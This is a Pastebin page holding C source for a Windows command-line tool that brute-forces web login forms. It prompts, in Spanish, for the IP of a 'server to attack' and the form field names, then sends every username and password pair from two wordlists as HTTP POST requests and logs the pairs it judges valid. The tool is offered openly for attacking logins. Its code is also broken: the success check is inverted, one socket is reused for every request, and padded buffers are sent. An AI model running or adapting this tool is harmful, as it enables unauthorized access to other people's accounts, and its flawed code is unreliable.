Advertisement
Guest User

Untitled

a guest
Oct 27th, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.92 KB | None | 0 0
  1. // HTTP BruteForcer Post Method
  2. // Coder: Rollth
  3. // Underc0de.org
  4. // hackingd0.blogspot.com.es
  5. // whateversec.blogspot.com.es
  6.  
  7.  
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <winsock2.h>
  11. #include <windows.h>
  12. #include <stdlib.h>
  13.  
  14. int main(){
  15.    
  16.     // Declaración de socket
  17.    
  18.     WSADATA wsa;
  19.     int sock;
  20.     struct sockaddr_in dir;
  21.     WSAStartup(MAKEWORD(2,0), &wsa);
  22.    
  23.    
  24.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  25.    
  26.     // Declaración de variables
  27.    
  28.     FILE *archivo1;
  29.     FILE *archivo2;
  30.     FILE *archivo3;
  31.     int puerto;
  32.     int acierto = 0;
  33.     int intentos = 0;
  34.     char ip[30];
  35.     char host[30];
  36.     char mensajeError[300];
  37.     char form[200];
  38.     char user[50];
  39.     char pass[50];
  40.     char user1[50];
  41.     char pass1[50];
  42.     char men[1000];
  43.     char men2[1000000];
  44.     int ContentLength;
  45.     char ContentLength2[5];
  46.    
  47.     // Simple decoración
  48.    
  49.     printf("###############################\n");
  50.     printf("#HTTP BruteForcer Post Method #\n");
  51.     printf("#Coder: Rollth                #\n");
  52.     printf("#Underc0de.org                #\n");
  53.     printf("#hackingd0.blogspot.com.es    #\n");
  54.     printf("#whateversec.blogspot.com.es  #\n");
  55.     printf("###############################\n\n");
  56.    
  57.     // Introducción de variables
  58.    
  59.     printf("IP del servidor a atacar: ");
  60.     scanf("%s", &ip);
  61.     printf("Host: ");
  62.     scanf("%s", &host);
  63.     printf("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ");
  64.     scanf("%d", &puerto);
  65.     printf("Nombre de la variable de user: ");
  66.     scanf("%s", &user);
  67.     printf("Nombre de la variable de password: ");
  68.     scanf("%s", &pass);
  69.     printf("Direccion del form: ");
  70.     scanf("%s", &form);
  71.     printf("Mensaje de error al logearse(Una sola palabra): ");
  72.     scanf("%s", &mensajeError);
  73.  
  74.     // Configurando conexión al servidor
  75.    
  76.     dir.sin_family=AF_INET;
  77.     dir.sin_port=htons(puerto);
  78.     dir.sin_addr.s_addr=inet_addr(ip);
  79.    
  80.     connect(sock, (struct sockaddr*)&dir,sizeof(dir));
  81.    
  82.     // Dos bucles para comprobar cada usuario con cada password
  83.    
  84.     archivo1 = fopen("usuarios.txt", "r");
  85.     archivo3 = fopen("salida.txt", "w");
  86.     fprintf(archivo3, "%s\n\n", host);
  87.     while(fscanf(archivo1, "%s", user1) != -1){
  88.        
  89.  
  90.         archivo2 = fopen("passwords.txt", "r");
  91.         while(fscanf(archivo2, "%s", pass1) != -1){
  92.                
  93.             strcpy(men,"");
  94.             ContentLength = strlen(user) + strlen(pass) + strlen(user1) + strlen(pass1) + 3;
  95.             itoa(ContentLength, ContentLength2, 10);
  96.            
  97.             // Modifica el string men con el header y los datos a enviar.
  98.            
  99.             strcpy(men, "POST ");
  100.             strcat(men, form);
  101.             strcat(men, " HTTP/1.1\r\n");
  102.             strcat(men, "Host: ");
  103.             strcat(men, host);
  104.             strcat(men, "\r\nContent-type: application/x-www-form-urlencoded\r\n");
  105.             strcat(men, "Content-Length: ");
  106.             strcat(men, ContentLength2);
  107.             strcat(men, "\r\n\r\n");
  108.             strcat(men, user);
  109.             strcat(men, "=");
  110.             strcat(men, user1);
  111.             strcat(men, "&");
  112.             strcat(men, pass);
  113.             strcat(men, "=");
  114.             strcat(men, pass1);
  115.             strcat(men, "\r\n");
  116.            
  117.             // Envía y recibe datos
  118.            
  119.             send(sock, men, sizeof(men), 0);
  120.             recv(sock, men2, sizeof(men2), 0);
  121.            
  122.             fprintf(archivo3, "%s", men);
  123.             Sleep(100);
  124.             fprintf(archivo3, "%s", men2);
  125.            
  126.            
  127.             // Comprueba si la contraseña es correcta o incorrecta
  128.            
  129.             if(strstr(men2, mensajeError) != NULL){
  130.        
  131.                 printf("El usuario es: %s -- El password es: %s\n", user1, pass1);
  132.                 fprintf(archivo3, "El usuario es: %s -- El password es: %s\n", user1, pass1);
  133.                 acierto++;
  134.        
  135.             }
  136.            
  137.             // Contador de intentos
  138.            
  139.             intentos++;
  140.                
  141.             printf("Numero intentos: %d\r", intentos); 
  142.            
  143.             Sleep(100);
  144.            
  145.         }
  146.        
  147.         fclose(archivo2);
  148.        
  149.     }
  150.    
  151.     // Comprueba número de contraseñas encontradas.
  152.    
  153.     if(acierto == 0){
  154.         printf("Password no encontrada.\n");
  155.     }
  156.     else{
  157.         printf("Numero de passwords encontradas: %d\n", acierto);
  158.     }
  159.    
  160.     // Final del programa
  161.    
  162.     system("pause");
  163.     closesocket(sock);
  164.     fclose(archivo1);
  165.     fclose(archivo3);
  166. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement